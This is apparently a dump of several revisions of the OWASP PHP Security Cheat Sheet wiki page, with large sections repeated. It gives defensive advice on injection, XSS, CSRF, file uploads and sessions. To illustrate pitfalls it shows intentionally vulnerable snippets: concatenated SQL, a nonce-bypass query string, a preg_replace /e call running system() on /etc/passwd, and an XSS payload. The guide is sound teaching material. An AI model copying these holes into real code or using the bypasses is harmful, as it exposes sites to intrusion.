Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:30:10Z

Luke Plant: /* File Inclusion Cheat Sheet */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:29:04Z

Luke Plant: Encourage people to use libraries/frameworks, not random snippets of code they find on a wiki!

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
